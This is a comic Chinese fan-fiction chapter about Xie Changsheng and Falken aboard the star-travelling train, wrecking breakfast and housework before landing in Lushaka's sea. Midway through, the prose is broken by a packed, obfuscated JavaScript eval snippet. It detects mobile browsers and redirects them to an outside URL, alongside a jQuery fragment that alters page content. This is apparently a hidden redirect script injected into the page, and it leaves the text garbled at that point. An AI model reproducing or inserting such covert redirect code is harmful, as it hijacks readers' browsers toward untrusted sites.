“长生,快来,就等你了。这一道菜……”法尔肯的声音仿佛隔着玻璃,在这一刻与梦中重叠。
谢长生梦游般出现在餐桌,带着恍惚。梦中的美好让他眷恋不愿醒,他竟然还对叫醒他的法尔肯有了莫名的迁怒,这样不好。
人一旦陷入了过去,就很难走向未来。所以他才不愿意回想过去嘛,除了徒增伤感又有什么用。过去就是过去,再也回不去。
“当然少不了列车长的帕姆派,尝尝今天……”
法尔肯滔滔不绝介绍,在老师的教导下,他很用心地记下了长生的喜好,当然要好好展示。
「我见」眼神示意法尔肯注意谢长生,他想要拉近关系的人此时并不在状态。
右手边的少年机械地进食,不知道在想什么,餐盘里早就空了。
法尔肯卡顿片刻,凑到谢长生身边,在他眼前晃了晃手,“长生,你在听吗……好吧,我愿意相信你说的‘几千年基本都在睡’了。难道是我提前打扰了你的沉眠,你还好吗?”
“我很好,谢谢。”谢长生回过神,“抱歉,刚刚突然想起一些过去的事。”他歉意笑着,“早餐非常好吃,让你们费心了。我先……”
“哦!”
“嘶!”
毫无默契的两人撞作一团。
惊吓太突然,谢长生没有控制好力量,背后蹭地窜出六根灵活的枝条,张牙舞爪,横扫一切,法尔肯的帽子都被打飞了出去。
他下意识撑桌,结果桌子被恐怖巨力直接压塌。还好桌上的菜不知什么缘故,稳稳呆在空中没有掉落。
法尔肯狼狈稳住身。
天,长生的力气太大了,他都差点以为被列车创了。
他一手抓着谢长生的胳膊,另一只手试图限制突然多出的枝条。
看起来只是普通的、有韧性的植物枝条,但破坏力不小,他的胳膊都被抽得生疼。要知道他的体魄可以硬接行星级武器的一击无伤。
谢长生想帮法尔肯站稳,法尔肯想控制住作乱的枝条,两人毫无默契。互相搀扶间,肢体碰撞加上枝条神威,桌上的餐盘碗碟叮当哐啷呲,横飞破碎,死相凄惨。
「我见」沉默不语,不动声色放出更多的精神力抢救食物,又端起杯子喝了一口纯水,情绪稳定。
但列车长情绪不稳。它就低头吃了一口的功夫,它的餐桌,它辛辛苦苦准备的饭,全!都!没!了!帕!列车长头上冒出十字。
“你们!这些!不好好吃饭的家伙!都去给我洗碗帕!你们明天的早餐没有了!”列车长咆哮。
法尔肯:“好好好列车长。”
谢长生:“对不起!!!”
他背后不听话的枝条终于蔫了下来。愧疚拉满,他急急忙忙,帮(倒)忙。什么伤春悲秋,哪有那功夫?
列车长生气离开,它去仓库找找新的餐桌。
法尔肯松了口气,整了整自己凌乱的衣服,捡起自己飞出去的帽子,认命地收拾惨剧。但——
“停停,长生你先去洗碗吧,这里就由我来解决。”
队友越帮越忙。正好老师将餐盘碗碟都摞好了。
「我见」起身,轻拍谢长生的肩,眼中如平静的海般包容,他温声说:“不用自责,这只是一些毛茸茸的小问题,我知道你并非有意,列车长也没有真的生气。去吧,这里交给我们就好。”
悬在他身旁的一摞碗碟被送到谢长生的手中。
谢长生呆呆的,看着那双眼,总觉得无论做什么都会被原谅啊。
“叮当哐啷。”
灾难性的声音在厨房响起,谢长生的沉默震耳欲聋。
他不是故意的,好吧,这下他自己都原谅不了自己。
连武器都能用的利索的手,败给了滑溜溜的盘子。他连收回去的六条“触手”都拿出来用了,还是拼尽全力无法战胜。啊,好废。他就没做过家务!
“帕!”列车长的震惊没有迟到。
在阿哈幸灾乐祸的笑声中,谢长生被盛怒的列车长轰出厨房,剥夺进入权。
他真的不行吗?这么简单的事情……不行,他绝不认输。谢长生转而投奔尚不知厨房惨状的法尔肯。
巧了,法尔肯正在打扫车厢。
见他热心帮忙,还给他安排了六个鸡毛掸子,让他使出那个,就是“触手”清理高处的灰,对他的动手能力非常有信心。
法尔肯对谢长生背后长出的枝条见怪不怪。毕竟列车上的乘客什么物种都有。之前还有种族是植物的植物学家,就连曾经的领航员都有什么无机生命、水豚属的。好吧,还是有点奇怪的,多看两眼。这是什么,植物人?他没见过。
谢长生抱住一大堆鸡毛掸子怀疑人生。这还是星际吗?又是洗碗,又是扫灰。
“我猜今晚老师会拉上我们开会。”法尔肯对上谢长生疑惑的眼神。“老师喜欢和谐稳定的环境,也喜欢通过「开会」交流感情。”
法尔肯一边优雅拖地一边开启话题。天知道他是怎么连拖地都有形象包袱的。
“老师想开解我们,幸好有你分担他的精力。”
“你并不喜欢开会?”
谢长生眼观六路,耳听八方,还分神和法尔肯聊天。
他的背后六根枝条缠着鸡毛掸子乱舞。这枝条不怎么听话,算了,至少比刚刚洗盘子的时候要好点。
“不喜欢。老师的会总是以缓和关系、化解矛盾为主,而我并没有听那些人生哲学、心理健康的耐心。”法尔肯直抒胸臆,眸中闪过自信,“不过,老师看出了我想上位的野心。”
谢长生心道,毫不掩饰,你这野心,列车上的花花草草都能看出来。领航员脾气太好了吧!难道他也想退休了?
一个上班多年,假死退休的人突然闯进脑海。岩王帝君,他晃了晃脑袋,谁来着,怎么又想到他了?
一片羽毛缓缓飘落。
谢长生的思绪也跟着飘飞。
一片又一片的碎羽,在暖光下如同建木飘落的光叶。
“……长生,你的肢体是否不太协调。哦,我是说,列车的工具都不耐用,你还是放下它们吧。”看着漫天乱飞的鸡毛,法尔肯开始怀疑自己的决定。
这卫生,怎么越做越完蛋
谢长生:…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064941|172074||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…
他听劝。心虚的枝条抓捕着逃逸的鸡毛。他转移话题:“你继续,领航员发现了,然后?”
“他肯定了我的野心。只要我累计参会十次,就给我一次决策权,由我一个人来决定列车的重要事项。”法尔肯燃了起来。
他一手撑着拖把,一手搂住谢长生的肩膀,不顾对方的抗拒,郑重其事地说:“长生,你可是我用十次会才换来的队友,你可千万不要抛下我啊!”
“区区十次会。”谢长生哼了一声。
“老师还限定了到达一个新的世界才能用一次!”
……
“对了,还没有问我们要去哪?”
谢长生只是想来看看,顺便蹭蹭车,怎么稀里糊涂就进常驻了。他还打算践行自己的想法,用自己的力量去行侠仗义诶。
“维护星轨,联通万界。”法尔肯微微抬头,笑得张扬。打理得整齐的白发上,白色的鸡毛被抖落。
谢长生:?答非所问了,老肯。
法尔肯接着解释道:“阿基维利陨落后,星轨失去了不可损坏的特性,连接寰宇的唯一通路难以维系。”
谢长生:“列车能铺设星轨。”
法尔肯笑了笑。“是的,列车可以。「我见」老师想要维持宇宙的联通,所以我们一直行驶在前人铺就的路上。”
他眼中燃着光,目光灼灼地看着谢长生,手中的拖把举起如权杖。“但我,要在前人未尽的道路上走出更远的距离!长生,帮助我吧!”
放下那个拖把啊!水都溅到他身上了。这已经不是野心了,这是想直接篡位吧!谢长生疯狂吐槽。
“所以你还是没有说我们要去哪里。”
“以长生你的寰宇通识的水平,说了也没用呀。”法尔肯对上谢长生的怒目,清了清嗓子,“咳根据星图指引,我们的下一个目的地是一个叫做露莎卡的星球。”
“海洋世界露莎卡?”谢长生歪头。
这个他好像真的知道。他给景元刷圣遗物坐牢,背包里全是露莎卡。等等,什么不太理解信息从脑子里过去了。
“哈哈猜错了,露莎卡可不是海洋世界。”法尔肯露出“果然如此”的表情。
一望无际的海面,波涛汹涌。渺小的船只扬起风帆。老旧的木船,蒸汽的大船与钢铁舰队,仿佛不在同一时代的船在同一片海域横冲直撞。航海士们向着自己的目标勇敢冒险。
当然,这些暂且和谢长生他们没有关系。
谢长生看了看眼前的巨型珊瑚,又看了看法尔肯。
“你还说这不是海洋世界!”
法尔肯:“咕噜噜……”
“啊?你不能水下呼吸?”
法尔肯不绅士的翻了白眼,头发在水中飘荡。发出“咕噜噜”的声音。
他也没想到落点是海域啊!老师是故意的吧!幸好他换了一套防水的衣服。
“诶,你先别死啊!”谢长生慌乱地带他上浮。
法尔肯:咕噜,谁要死了?些许风霜罢了。
一艘老旧的大船上,称职水手发出预警。“不好,是伊沓人!快撤!!”